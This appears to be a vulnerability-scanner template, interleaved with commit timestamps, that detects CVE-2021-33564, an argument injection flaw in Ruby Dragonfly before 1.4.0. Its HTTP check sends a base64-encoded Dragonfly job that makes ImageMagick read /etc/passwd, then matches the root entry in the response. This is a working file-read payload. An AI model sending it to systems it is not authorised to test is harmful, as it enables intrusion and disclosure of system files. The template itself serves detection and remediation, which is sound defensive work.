2021-05-28 21:03:38 +00:00
id : CVE-2021-33564
info :
2022-05-18 20:58:07 +00:00
name : Ruby Dragonfly <1.4.0 - Remote Code Execution
2021-05-28 21:03:38 +00:00
author : 0xsapra
severity : critical
2022-05-18 20:58:07 +00:00
description : Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Ruby Dragonfly to version 1.4.0 or later to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
2022-05-17 09:18:12 +00:00
- https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0
- https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5
- https://github.com/mlr0p/CVE-2021-33564
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-33564
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-33564
cwe-id : CWE-88
2023-08-31 11:46:18 +00:00
epss-score : 0.07998
2023-11-01 14:45:21 +00:00
epss-percentile : 0.93578
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:dragonfly_project:dragonfly:*:*:*:*:*:ruby:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : dragonfly_project
product : dragonfly
2023-09-06 12:09:01 +00:00
framework : ruby
2023-07-11 19:49:27 +00:00
tags : cve,cve2021,rce,ruby,injection
2021-05-28 21:03:38 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-05-28 21:03:38 +00:00
- method : GET
path :
- "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
- "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-11-02 06:01:54 +00:00
# digest: 4b0a00483046022100a2d39de8ef037cba882350bc2f279d7da8980c51d16c0f44f4a2087a7057c4f4022100d51fb95e501e04d618b107948902edfecfe117c4f2e056a7d2974bd8de0a5e19:922c64590222798bb761d5b6d8e72950